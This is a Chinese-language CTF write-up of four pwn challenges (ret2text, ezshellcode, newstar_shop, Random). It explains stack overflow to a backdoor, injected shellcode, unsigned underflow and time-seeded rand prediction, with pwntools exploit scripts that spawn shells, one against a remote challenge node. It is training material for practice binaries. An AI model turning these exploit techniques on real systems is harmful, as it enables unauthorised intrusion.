# 1.ret2text
64 位程序,开启了 NX,明显的栈溢出
有后门字符串
点进去,然后按住 "ctrl +x" 转移到后门函数
要执行 execve ("/bin/sh",0,0)
直接利用
exp:
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./ret2text') | |
p.recvuntil("magic\n") | |
payload1=b"a"*40+p64(0x00004011FB) #溢出 40 个字符串 | |
p.sendline(payload1) | |
p.interactive() |
本地:
远程:
# 2.ezshellcode
64 位程序,开启了 nx,由于该题目已经说明了用 shellcode,我们需要绕过 NX
IDA 查看
发现有 mmap
函数,它开辟了一个可执行地址,返回值就是该地址
所以 buf 上可执行在这注入我们的 shellcode,后面又有一个 jump 跳转到该地址就会执行我们写入的 shellcode
exp:
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./ezshellcode') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("magic\n") | |
payload1=shellcode | |
p.sendline(payload1) | |
p.interactive() |
# 3.newstar_shop
64 位程序,保护全开
在 shop
函数中有后门,但是需要我们让 money>0x270E
看一下初始 money
的大小,发现 money=64h
(100), chance=1
但是我们发现 money
是 unsigned int
类型,最小值为 0, 0-1
后这个值会变到最大,所以想办法减少这个值
在 shop
函数中由于会先判断 money 的大小才减去,所以不能直接用
发现在 dont_try
函数会减 50,由于 chance是1
,所以只会减一次,那么我们需要在 shop
函数里先消耗掉一部分
最终办法:
- 在
shop
中消耗 80(在商店中选两次减 40 的) - 进入 dont_try 消耗 50
- 购买 shell
直接 nc 连接:
- 输入 1,进入商店,输入 2 ,花费 40
- 再次输入 1,进入商店,输入 2,花费 40
- 输入 3,进入 Don't choose,扣除 50,这时 money 的值就会很大
- 输入 1,然后输入 3 来 getshell
# 4.Random
64 位程序,保护全开
sy 函数中有后门
发现只有让我们输入的值与随机数相同就能进入后门中,不过后门中也是通过随机数来传参,那么我们就需要多试几次即可
随机数是伪随机,通过种子函数来产生值,可以利用 ctpye
库来构造 c 函数的 srand
函数
【ctypes 是 Python 内建的用于调用动态链接库函数的功能模块,一定程度上可以用于 Python 与其他语言的混合编程。由于编写动态链接库,使用 C/C 是最常见的方式,故 ctypes 最常用于 Python 与 C/C 混合编程之中。
rand 函数要用 cdll 中的函数。】
from ctypes import * | |
libc = cdll.LoadLibrary('libc.so.6') #自己会加载这个库 | |
libc.srand(libc.time(0)) #以 time (0) 为随机数种子 | |
num=str(libc.rand()) #产生随机数,转成字符型 |
exp:
from pwn import * | |
from ctypes import * | |
#context(os='linux', arch='amd64', log_level='debug') | |
#p = process('./pwn') | |
p = remote('node4.buuoj.cn',28504) | |
libc = cdll.LoadLibrary('libc.so.6') | |
libc.srand(libc.time(0)) | |
num = str(libc.rand()) | |
p.sendlineafter('number?\n',num) | |
p.interactive() |